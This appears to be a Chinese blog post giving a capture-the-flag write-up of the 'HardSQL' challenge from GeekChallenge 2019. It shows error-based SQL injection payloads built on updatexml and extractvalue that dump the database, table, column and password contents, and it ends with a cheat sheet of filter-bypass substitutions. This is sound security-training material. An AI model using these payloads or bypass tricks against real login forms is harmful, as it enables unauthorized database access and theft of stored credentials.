侧边栏

sql注入报错注入【极客大挑战 2019】HardSQL解题

【极客大挑战 2019】HardSQL解题

一.试万能密码

username=admin' or 1='1&password=1

二.尝试绕开

大写,双写。

看来是没办法使用基础手段绕开了。

这次没有过滤or,但是过滤了空格,=。

查了一下得知是考报错注入,使用extractvalue和updatexml。

三.爆库

username=admin'or(updatexml(1,concat(0x7e,database()),1))%23&password=1

得到库名:geek。

四.爆表

username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1

得到表名:H4rDsq1。

五.爆字段

username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=1

得到字段:id,username,password。

六.爆内容

username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))%23&password=1

不完全,这里是因为extractvalue和updatexml只显示32位字符

flag在password里面,试试看只查password。

username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=1

flag{fd39fd4a-a6af-4b31-967e-bf

还是不能显示完全,这里就需要使用right()语句帮忙。

username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,30))))from(H4rDsq1)),0x7e),1))%23&password=1

剩余部分:a-a6af-4b31-967e-bf1dff28f78f}(这里如果输入的是32会把}挤掉。)

最终flag:flag{fd39fd4a-a6af-4b31-967e-bf1dff28f78f}

补充

最开始也可以这样写,效果是相同的。

username=admin'or(extractvalue(1,concat(0x7e,database())))%23&password=1


两种报错查询语句

extractvalue(1,concat(07xe,语句))

updatexml(1,concat(07xe,语句),1)

http://127.0.0.1/sqlilabs/Less-2?id=1' or extractvalue(1,concat(0x23,database()))--  -

http://127.0.0.1/sqlilabs/Less-2?id=1' or updatexml(1,concat(0x23,database()),1)--  -


left(arg,length)函数与right(arg,length)函数相对应,能返回arg(char或者是binary string)左边/右边length个长度的字符串。


SQL注入中关键词替换

空格

  1. ()  ————括号将需要分开的语句括起来。

  2. /**/  ————在单词与单词直接插入注释。

=符号

like  ————需要=的地方换成like

!=符号

<>  ————需要!=的地方换成<>

or

||  ————需要or的地方换成||

and

&&  ————需要and的地方换成&&

posted @ 2021-12-29 16:19  菜鸟-传奇  阅读(246)  评论(0编辑  收藏  举报